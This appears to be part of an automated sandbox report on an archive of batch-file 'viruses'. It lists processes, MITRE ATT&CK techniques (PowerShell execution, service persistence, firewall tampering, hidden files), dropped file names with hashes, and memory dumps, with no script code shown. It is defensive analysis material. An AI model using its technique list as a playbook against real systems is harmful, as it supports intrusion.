C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:4356

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa3956855 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:5888

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DeviceAssociationService
1⤵
PID:6176

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
612b19feac3b60bdc771ec888769ea75

SHA1
cc0117dc3f83e139f22d7c9f068a0fa2027fc8fb

SHA256
3eb12f5e02a7aad8764186e1f62d9cebcc8667c854ebf4356fe404f042b84ec1

SHA512
2f56333015641eb11b853a350ca5a01763ab9fd2d572fca51ba2d7df3018546c9667a64ba670e443e0fef5c10879964bfe18084ae0b44e95cb17dcc864ffd4af

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fpwnsbce.hlk.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\repository.zip

Filesize
28KB

MD5
cbafef9e4869db15b79329bb4f46b66f

SHA1
8b55fcfd3c965d59f06ad878f6d60def26c12ca4

SHA256
77edd09c8ef0321fd7c39036c6220d3e5e152e3bdb2a2954a06f6943b31a3939

SHA512
72f815ba527cc088fe2116f88173cd6aadffd39fd7e115ab26ca2e0ceea3d1aeca389f38850fd50b5198cf19bd665197bf2b674c08dc04f5a28c40b07058fbb3

Download Submit
C:\Users\Admin\AppData\Local\Temp\repository\batch-virus-main\viruses\virus1.bat

Filesize
62B

MD5
7645c582f90471d7d236f93ff20095a4

SHA1
db262d594dfa4dff1787074c28cea3e97ee1fd6f

SHA256
5864198fb4149fbd67a956a6ffba845f5cfd19ad9c288885d8fe78491df78044

SHA512
c088118e7915b73733f0b7e067c230b07417ca47c8a10a6b9c382d0df912fa116381c6e6c25e0881d4eff86a6b7f527802f3e08c8f7f47b03dac058d06ae170c

Download Submit
C:\Users\Admin\AppData\Local\Temp\repository\batch-virus-main\viruses\virus10.bat

Filesize
2KB

MD5
6ad62c6f745973fd96385d1cec1df44f

SHA1
a77da5668ecd88ed4f7203a6f0415e37c6ce1550

SHA256
af1a63840892d9890cfafab890413049b16c766857242ecd7394551c823df535

SHA512
eec776d40f6688aa2824df6f4e143dc230058556f41bd48f674c8a660dc42656752c4fb64327a139ebdcbb5d251a0aa38222fbd2f5b1008aa05a41e62546f80c

Download Submit
C:\Users\Admin\AppData\Local\Temp\repository\batch-virus-main\viruses\virus11.bat

Filesize
181B

MD5
e06003d22935f8c2c27e70577bdd056e

SHA1
0b61fc6c37b33aa463da4853037a9ee066caf1a7

SHA256
f26fe8f245d801914f0d47ba41c880b7d6717e997334253dfd4bd3e3d4e2a121

SHA512
eb2b0e0c50f22900e9ce3ac474db3e18e69b7ad7d595dac2d155441ce364efe4f8ba921faffde2937364be4cdde939e2c7938850a05a4fea0b69ece6fbd40bfb

Download Submit
C:\Users\Admin\AppData\Local\Temp\repository\batch-virus-main\viruses\virus12.bat

Filesize
31B

MD5
2d6e99d6cd042c259226b5e5ba1b6fe3

SHA1
eb4ec16abd864e68cc384b728634802f744726f2

SHA256
052db3532390866f7396affe85f054b6c12674e446de911d8abf03764729ae45

SHA512
afba65b85d2f611970eb65c9bb41b9e3b60bf0f211599d7fa2eb4fd9c5bf12c81d9aca096ea336952a3e3dd50e683f0f5bf45d8cb28a050b372a05958eeff179

Download Submit
C:\Users\Admin\AppData\Local\Temp\repository\batch-virus-main\viruses\virus13.bat

Filesize
1KB

MD5
fd524c1255f5f8da28f7f167d2a59e44

SHA1
aa9daad17c66309b7aa29b3fbdf0d0b6c1d9cfdd

SHA256
01e093135dc04e0dda37f2a2c37137b4042f70c4359aa83c4a5e31d3c18c73cb

SHA512
80bb20b0adc97b217f8d02fb1b09f0e94d06f3c0d201e193832c55267c9b7e60418eee91271f6d1212d7569292e8260de36fe504b0f20f9c766504cd05a142e0

Download Submit
C:\Users\Admin\AppData\Local\Temp\repository\batch-virus-main\viruses\virus14.bat

Filesize
272B

MD5
fe4f3fd2fa615b6331829fc6af51a7b5

SHA1
9370bd277afa8a1b4bb8e0b1f9dce18f30e2e866

SHA256
a8544b46dd2630f6afa0001da027442a173f25121414353d240ef6c44441069e

SHA512
8ab5c81597e54597935e60b2d5b806f91f4dba0e8262c886f6f653431b1cb1ef9d3e6fd1a5c753aa817b2ba0d7d2243f79a9e3cf88ba75f22dbda0032759aa85

Download Submit
C:\Users\Admin\AppData\Local\Temp\repository\batch-virus-main\viruses\virus15.bat

Filesize
27B

MD5
2b48a47cf2055d1273aeb357cf7c1508

SHA1
eccad7522bf0f1348f86e03856aadc6dd773d814

SHA256
878acae8ac6270d7e29be9c10a5dfcfcfd352b30d356a769f68543bd2294bdaa

SHA512
644133f2892308cab830390d4ed96462ddbb125a134d23a988f64f892ce1775521720922e2a3603df6a9c667818624d46f620716bd1077187dcc27543ff4d59a

Download Submit
C:\Users\Admin\AppData\Local\Temp\repository\batch-virus-main\viruses\virus16.bat

Filesize
143B

MD5
26d4dd56b32b51fd02151df50f6e49f1

SHA1
6eda36cfb7a262da5f62d14f45a0d96a75a1ff58

SHA256
aba24b1c120416c8e8dcc3643c80118302d08fcd7fcaaa77a2ae8e811c7cbb38

SHA512
a34854e6e159bfdf0a18f95af4baeec84fdeeb0fa3f25ddc2a1771cef112aa11f2f3e09ac92c25e22c9b5ecf00009d246abd3dc41b23935290622b998bf81bf9

Download Submit
C:\Users\Admin\AppData\Local\Temp\repository\batch-virus-main\viruses\virus17.bat

Filesize
88B

MD5
7f6537d1e24f3c6d877b6e9ca5233eeb

SHA1
60b3e96827a58ac9ace4c47cfa65431e58fd71bd

SHA256
384dcf3d7dabfdf0dac11f783a680932abbd3e9caba4b680bad00ba8b2192a4e

SHA512
7e92e4d0b27c313eba9b3d6dc358a7dcc5b81ea8fa87e5f82f03df9e76a667e85632db5769ca80467eb8858c7cb2c7e684afec31ba894b822b792a970fb347c6

Download Submit
C:\Users\Admin\AppData\Local\Temp\repository\batch-virus-main\viruses\virus18.bat

Filesize
192B

MD5
b60026155fb3d743689cc1a604ea5368

SHA1
17297c75e7e027bc593958a5e0d220edda39b134

SHA256
49f4a8f491435ee67aae4b54313b1b6fb43970fa60f6302cf8230aca781a2008

SHA512
cfcd9a188d564808bfad3da408632e501545683b119e0d3e375b594ab267cd8333ceca14947e4eab90205502c71dd3f97a9805612e2307a0d70d740d1769baab

Download Submit
C:\Users\Admin\AppData\Local\Temp\repository\batch-virus-main\viruses\virus19.bat

Filesize
123B

MD5
becbc5f2fe29ad216a4f56f4ed422e25

SHA1
33f28087de34a8d38665fa9825ec27684a2ec7d0

SHA256
f673fd71ad81070bba2497e90dc6ca3096d14207598a57601559b45af4e446e8

SHA512
00e6bbf8fa29f7e7e01961ba81229bc4bb77080d9051b8dea1e55161f0243b5dbd8a4b9af8b2cc25d0b52c568a0e7dfd17c770ac7f3efe6b1f588e0b25ba8e8f

Download Submit
C:\Users\Admin\AppData\Local\Temp\repository\batch-virus-main\viruses\virus2.bat

Filesize
64B

MD5
a9916d0bf0ac63870a4eb3a69108de6d

SHA1
9595b5f26bddafb28290fe3d3c6ff1e7e55a4409

SHA256
ae9182f1191c0335be08c69428e6dc70c9408f117e5956e678a5692aa00b2180

SHA512
fd6545f7c69e9ae2fa89a4b79ab34ee95fa6cea3e51fdeb15fe45b32781de07b59b2743b8df8781f11ccc63ef965cb45f813d8de384858734874ac4f701af302

Download Submit
C:\Users\Admin\AppData\Local\Temp\repository\batch-virus-main\viruses\virus20.bat

Filesize
28B

MD5
b15bb12c387135bbc3a30c0417ab19f8

SHA1
4d26dbc7c8167c2fe22041abc5c2e4a04cd0c065

SHA256
631cbfbf96691dd891f2b16c06e68c46fb10f9a0323aa7bcaf8171f94dce134d

SHA512
7e138ef674439de31267635e8bcd4e9b663c783d628d5c0f4dacb0121af51a1690b536e8d5564b0fe98287d6868cee098b75833cb9fc004611b8a57bc1760a30

Download Submit
C:\Users\Admin\AppData\Local\Temp\repository\batch-virus-main\viruses\virus21.bat

Filesize
83B

MD5
6ab1f090a0508b45cfc6319d6167a8fe

SHA1
22bae697d74a8f98df6f4f6ff3dc394f40dadd65

SHA256
1f216316bb81364427f4da895fab39480c531403d8f36f1e87bfc87b4fe5cc34

SHA512
a71c34a6ed04d89ca81d5dfcda8d80eeab8c4a1fded74ee6f5e1ca8be33ec188782955c3b555bd43b2b123a02965dbc79eede202861235a0be4cef92e169cca2

Download Submit
C:\Users\Admin\AppData\Local\Temp\repository\batch-virus-main\viruses\virus22.bat

Filesize
279B

MD5
0b9b2b109f8cb95587997632f996c42d

SHA1
79a88503eb96a78f725de766fea96dfc6862cc13

SHA256
a08f7b690031a88ad3e1ac4f1f26af8f47d9757ad49ce343fb29b850b785160c

SHA512
c51e7d4a7d7906becbfd1b137b76a50d58b2f49b96eee3086911612b605c928e24b26e85fee988f72b79f877b37b6f2698a3fd6936a2c763d4add660d31579ef

Download Submit
C:\Users\Admin\AppData\Local\Temp\repository\batch-virus-main\viruses\virus23.bat

Filesize
415B

MD5
b95e6208ccfefd7b853821815d94ad64

SHA1
474cf2b8daec850b5ddb9d4f54b44308546ebfc2

SHA256
5e19eab58b38e49a20e85f1d18e899eca823818c2fdaa715e2738a7da0168c76

SHA512
6b8e4501d3176231ada9cd4af1f66efe6177cd7534e37a4ab2b719e55d37a4f05e443195978fcc9dfa1c03375fd63e92e2f0915dacf55d4b433b5015f6ec6df5

Download Submit
C:\Users\Admin\AppData\Local\Temp\repository\batch-virus-main\viruses\virus24.bat

Filesize
114B

MD5
8146b4f01b54145dc5bf3affe53f6b86

SHA1
5574dfd7e4be4e748568fa6e5a75c34065581b1e

SHA256
f219edb9a30a62ad82af352a04478aa95e34d3fb9a40334626ee4f220eee4790

SHA512
f0a118c6341e4a0aff09a986843e7424f8ae1ca6a187113fdd019c51e50a7c8aa8ef47076c48fe3a26a9381b5082b546373046b2940b9ad2e1165c4ecfb8bf1d

Download Submit
C:\Users\Admin\AppData\Local\Temp\repository\batch-virus-main\viruses\virus25.bat

Filesize
1KB

MD5
a3175e98e0b2b8e25e5dcda39532f638

SHA1
cb8a78e348c2d7fe7f933e69703d33a37de8b9e6

SHA256
809bc8290ef096594db222b775b159109e7230879d78a22c5d536c9b151b90fb

SHA512
b3b5caf4eca3c6c12a242492770867c23114be4eb6e267c85e1579cf19489d764c2d7452bca9dc6d3d43638ddc65ba469bf7aaad51658e9909b2c6f0c3656f6b

Download Submit
C:\Users\Admin\AppData\Local\Temp\repository\batch-virus-main\viruses\virus26.bat

Filesize
76B

MD5
b79f4629937094b6e5601ac0a5a6b57c

SHA1
cec1e4fa729192d298b726a422670e32db36046d

SHA256
41dae4a8ac276537dfb77197a325a9b16b8f8f665c8ed46c87e96adcbfd187a6

SHA512
070df2eb8fa8a3ef06b008843b1e66d8375951a47036157fff85f6b8c9a427f7d23e5033d72f8841ff1c018dd01a2e433b3d3671d3b979300a9dfb0a2e9c1c80

Download Submit
C:\Users\Admin\AppData\Local\Temp\repository\batch-virus-main\viruses\virus27.bat

Filesize
1KB

MD5
dc635e7655d5830e9c0c82e1e1d4fc75

SHA1
ef2c7b40ee950aa88fc7a81d5496e03c1ff3bb9f

SHA256
4e6cfe80de249ffd28981228be838349c8fff904560d4afbff3c7a1b1cfbc144

SHA512
802fab46148debd7b962c652a37695aba395104b8ca097f34e6151323eb4560261653b8543e7a5ca89f798bd125a8cc1cee2eab08384c780826031997632a274

Download Submit
C:\Users\Admin\AppData\Local\Temp\repository\batch-virus-main\viruses\virus28.bat

Filesize
41B

MD5
c1d398ee95eab80dccc943be63c795b5

SHA1
d8cc1cac5878fdbed1e58cb7a8decff008f8bed5

SHA256
e7d4ecd60d7c1b163bfaf66170a3a1fd41ea58afc5d00a458e2e03ed332ace26

SHA512
9eb8b80ba60268ea40ff2c934f660add3e705390f178d026c902754f23b64d475ec3a9dc460c83c5cb728443ac2445013f10001669f3274885dab29fcc565e6e

Download Submit
C:\Users\Admin\AppData\Local\Temp\repository\batch-virus-main\viruses\virus29.bat

Filesize
42B

MD5
43969db64bb4f7d31f3651b41dc52520

SHA1
a1e9cf676d20c1e5ca3fb81d57ec47165bb0b762

SHA256
205509320b1c17acffd2b73d68ff86b707b0a9e81e74d3e9e08ed32cd06271d2

SHA512
5572e20121cc8e51f0cb8e932568ccb403bd1c5e42f8f04342f3d6d73c8e2434eed788cf90dc39fc131ffb49128174880a34e5dadf32e6f2a1fa633d8f6cb676

Download Submit
C:\Users\Admin\AppData\Local\Temp\repository\batch-virus-main\viruses\virus3.bat

Filesize
153B

MD5
a2b78d777e58cc921a8b1a5377bc8d4f

SHA1
1c4fb1f68cfb23224dba6328d458e0cf00d37614

SHA256
34cdcb6fae891f2a9687496e5f42c0cf1a6f02c1ad90a45b9eee9aca74227f7d

SHA512
2062c5e69e32cac48add6629fa7553e51740e29c35f63d30f01bb823fea2bd57914f390050d6ed04762e3cd1d90563033670bca761fe891cbaf1167b47b4918a

Download Submit
C:\Users\Admin\AppData\Local\Temp\repository\batch-virus-main\viruses\virus30.bat

Filesize
6B

MD5
aa6a6f24005d65b60695c8e2cc0f6c9a

SHA1
3ac101a1573d0a96599bf5208048af483404e1e2

SHA256
faf1303a43186f1a010bb88955ed1203d8a6a33cef9a21be00131f407c722ea7

SHA512
be48b0a976f048a00c32b3bb7566850e6237e5cdfbcfc3ad8f8eb89af07d922ecd8df96dabde0976dee7900d1d848978ba62af702d09b011790c59093b25824a

Download Submit
C:\Users\Admin\AppData\Local\Temp\repository\batch-virus-main\viruses\virus31.bat

Filesize
1KB

MD5
a42401cb47aac7e3876209252f1b3b61

SHA1
c46ec3b343848d7c33badd19b5fb0539f2bdefe2

SHA256
788523c660a809135c728ddc7cfcba58c13e4fd9a7cc74843bee9fd3311c8abd

SHA512
3abc626c4cdd86736aa346ea4b89a5e8072c1068e4e3fcc4796afb5d41c085cfe616fab7b78709456ec0816298b1bee426559ee62524053485983bfffea71d15

Download Submit
C:\Users\Admin\AppData\Local\Temp\repository\batch-virus-main\viruses\virus32.bat

Filesize
31B

MD5
52ec99c34b648f597b76c5adf0e5ef52

SHA1
c184c104d0bbfa22e63c0387e53f9ad82a42c6ba

SHA256
72181153cef1c18f67df9ed4a68a656276c266186e71b486f531ce10d2753822

SHA512
afc0ef0029e2417c77cf0bf190fe898abe04d0dd2e65bc6627e2ceb3ecc6a59d765c044ed4b6efc863a7645cd5e562d1f1ea2d8652b9bce9c5fd5127c35157c8

Download Submit
C:\Users\Admin\AppData\Local\Temp\repository\batch-virus-main\viruses\virus33.bat

Filesize
8B

MD5
129937581f6472707d4a01f8ed972374

SHA1
b8414eda60714b5e5609af05a2922b2d6bfad2d9

SHA256
484cd124db990802ad235d13bf06485a39c26d04d7796c8c579c041d384dc21b

SHA512
a4aa9d618f1f59c3b7fe2424e61c12a9ed706fbeafa75c9efd7ba477f6df8e03cd62303baf8e5e330be4f9b107dcafafc628ad73842e7a841721946dc128fcff

Download Submit
C:\Users\Admin\AppData\Local\Temp\repository\batch-virus-main\viruses\virus34.bat

Filesize
796B

MD5
0422ce7346866d7df2861f210238deba

SHA1
60eddf57d55fbd1e38da8302bf8f0badd55dbed7

SHA256
3ee95bd572e8e74bc6f69aeb063faf2caca9830edc28bcd6049744056e6b6447

SHA512
b3d4d5553e8ffce5e31723d493d13e625dbf54bc8477fff641af820eee8a3b8f22e026405a1cfd35ba4d5309acd2662a950ac3d45ba98999a4e3311020cc5330

Download Submit
C:\Users\Admin\AppData\Local\Temp\repository\batch-virus-main\viruses\virus35.bat

Filesize
156B

MD5
86f4b65ce352c1626fc46ac035a9b4eb

SHA1
0e588687e4a200c6388c7fe5f30cd888ca591b75

SHA256
47a4e6eece8968e9d9e7536e9369ff34fe0ef13293af20a2589a35cee8d4b5dd

SHA512
e255472c538996af16100169435c09b01af5af31b8983ca1ebe443e9b3b0f433d79e0e358402aa6c2f59af543d80e59297167af4f52cfcc3b74c4d2037b955e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\repository\batch-virus-main\viruses\virus4.bat

Filesize
162B

MD5
7e4cb61e991b164665bf3940547fcad6

SHA1
eb2bf81dff01e031cf4b9b155f0f1c280e76a8e3

SHA256
8facf85581dcca555ee58de7e5b49a9fd36bce594f3ff6757ee4ac248d68a5cd

SHA512
0d5e86f5065d1c7a34e5fd4f4d698c321948ba1f28ea679bbd7aa83e3349719217ac4cf574ce9bf2f3313a28d88507c16a51c614b120275cc66e005dd4d30a53

Download Submit
C:\Users\Admin\AppData\Local\Temp\repository\batch-virus-main\viruses\virus5.bat

Filesize
25B

MD5
b00e2f2b04ef87936edf6fb6fa5b43e4

SHA1
409ab4247d131f31bfc94df9e0bb772f724a24a3

SHA256
1aedef4185097aa0aed83a67610be9e4a65c1e74d8b80c5040c36c571004f795

SHA512
9487f9e65c73a8a999ec08f84b890914f23335fa695532f70789387994de9f0c27016ed7a2eb7471f378c6865f66ba199c88d281f194f8c3f0cccc2b347eec5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\repository\batch-virus-main\viruses\virus6.bat

Filesize
64B

MD5
de45a239d5d91fd8b93313a9e5e79db8

SHA1
3ebf3534a1d40fe982038031f11bbcf537a74c3f

SHA256
e2b9dd184ca54bf531c93181e3cd2b0566fc792f1a4a6e908957f1e746916db0

SHA512
52b4c416df3446e3eaccc15aa4736a6786666a234bc8386ac5d64e9e14c49bcf9a62dd81b386fd372696d5d9b972871832a94496bdabe2acd53698cb2163c39e

Download Submit
C:\Users\Admin\AppData\Local\Temp\repository\batch-virus-main\viruses\virus7.bat

Filesize
420B

MD5
824a7bdbc0f32e6be84498f484e9346b

SHA1
0f59f00ec29e1d5d7e9b77cc40ce2afb241bd1ef

SHA256
12bf9300c346dc1d384594ce8cd9299fde0fd05ce8f20eda5ca202cbc66381ee

SHA512
d93deee70274b3b07ba3969bd5fd9748fb1a69c480c8283b1add17517aca46edd4193484564b946caf5fb5a6c03ea84f28b057af1fc7d3e825a54e69dd2b7cc8

Download Submit
C:\Users\Admin\AppData\Local\Temp\repository\batch-virus-main\viruses\virus8.bat

Filesize
117B

MD5
a1484f54f74407ed4dc1e2f38ff81d9c

SHA1
2d1400f7057cd16e2eef1990a1d95614e13852b8

SHA256
305275b620023fc92b1d364df28ab61bec039aa68cbc5c28b244b678eb0c4a99

SHA512
48d0d49889be629cb38508959f224fb3cbd3c0a62f454d536963b5b403a83d2f2f925d21c49838abf1b2f8b8f51420a267c0677c6f123a43f76fa8445aac9038

Download Submit
C:\Users\Admin\AppData\Local\Temp\repository\batch-virus-main\viruses\virus9.bat

Filesize
153B

MD5
9fcf74f2b9b2a85033d9610652a0e9f0

SHA1
4543839d0a9b9fb8552f2c036d0810685ea78198

SHA256
bd884ee2992f94def77926d26d020d53ce74e9f1e95eae1da31bbacdb391cb13

SHA512
b3defe4fedd82501c936cb6fa3dc5a84c24727c8c0881e37d967b0d465037bbfd053c5aa0d4a851c1abb7ce9834fa757592974c6a1a71a25a61d222fad579677

Download Submit
memory/1600-16-0x00007FF9FBA00000-0x00007FF9FC4C1000-memory.dmp

Filesize
10.8MB

Download
memory/1600-1-0x000001ED1A8E0000-0x000001ED1A902000-memory.dmp

Filesize
136KB

Download
memory/1600-11-0x00007FF9FBA00000-0x00007FF9FC4C1000-memory.dmp

Filesize
10.8MB

Download
memory/1600-12-0x00007FF9FBA00000-0x00007FF9FC4C1000-memory.dmp

Filesize
10.8MB

Download
memory/1600-0-0x00007FF9FBA03000-0x00007FF9FBA05000-memory.dmp

Filesize
8KB

Download
memory/3260-163-0x00007FF765780000-0x00007FF7657B8000-memory.dmp

Filesize
224KB

Download
memory/3384-31-0x00007FF9FBA00000-0x00007FF9FC4C1000-memory.dmp

Filesize
10.8MB

Download
memory/3384-18-0x00007FF9FBA00000-0x00007FF9FC4C1000-memory.dmp

Filesize
10.8MB

Download
memory/3384-19-0x00007FF9FBA00000-0x00007FF9FC4C1000-memory.dmp

Filesize
10.8MB

Download
memory/3384-29-0x00007FF9FBA00000-0x00007FF9FC4C1000-memory.dmp

Filesize
10.8MB

Download
memory/3384-32-0x0000022145C90000-0x0000022145CA2000-memory.dmp

Filesize
72KB

Download
memory/3384-33-0x0000022145C70000-0x0000022145C7A000-memory.dmp

Filesize
40KB

Download
memory/3384-114-0x00007FF9FBA00000-0x00007FF9FC4C1000-memory.dmp

Filesize
10.8MB

Download
memory/3868-158-0x00007FF9D9B10000-0x00007FF9D9B20000-memory.dmp

Filesize
64KB

Download
memory/3868-157-0x00007FF9D9B10000-0x00007FF9D9B20000-memory.dmp

Filesize
64KB

Download
memory/3868-159-0x00007FF9D9B10000-0x00007FF9D9B20000-memory.dmp

Filesize
64KB

Download
memory/3868-161-0x00007FF9D7AB0000-0x00007FF9D7AC0000-memory.dmp

Filesize
64KB

Download
memory/3868-162-0x00007FF9D7AB0000-0x00007FF9D7AC0000-memory.dmp

Filesize
64KB

Download
memory/3868-155-0x00007FF9D9B10000-0x00007FF9D9B20000-memory.dmp

Filesize
64KB

Download
memory/3868-156-0x00007FF9D9B10000-0x00007FF9D9B20000-memory.dmp

Filesize
64KB

Download
memory/6584-173-0x00007FF7D1FE0000-0x00007FF7D2047000-memory.dmp

Filesize
412KB

Download
memory/8292-171-0x00007FF765780000-0x00007FF7657B8000-memory.dmp

Filesize
224KB

Download
memory/8348-174-0x00007FF7D1FE0000-0x00007FF7D2047000-memory.dmp

Filesize
412KB

Download
memory/8640-176-0x00007FF7D1FE0000-0x00007FF7D2047000-memory.dmp

Filesize
412KB

Download
memory/9912-172-0x00007FF765780000-0x00007FF7657B8000-memory.dmp

Filesize
224KB

Download
memory/14264-175-0x00007FF7D1FE0000-0x00007FF7D2047000-memory.dmp

Filesize
412KB

Download
memory/17324-177-0x00007FF7D1FE0000-0x00007FF7D2047000-memory.dmp

Filesize
412KB

Download

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads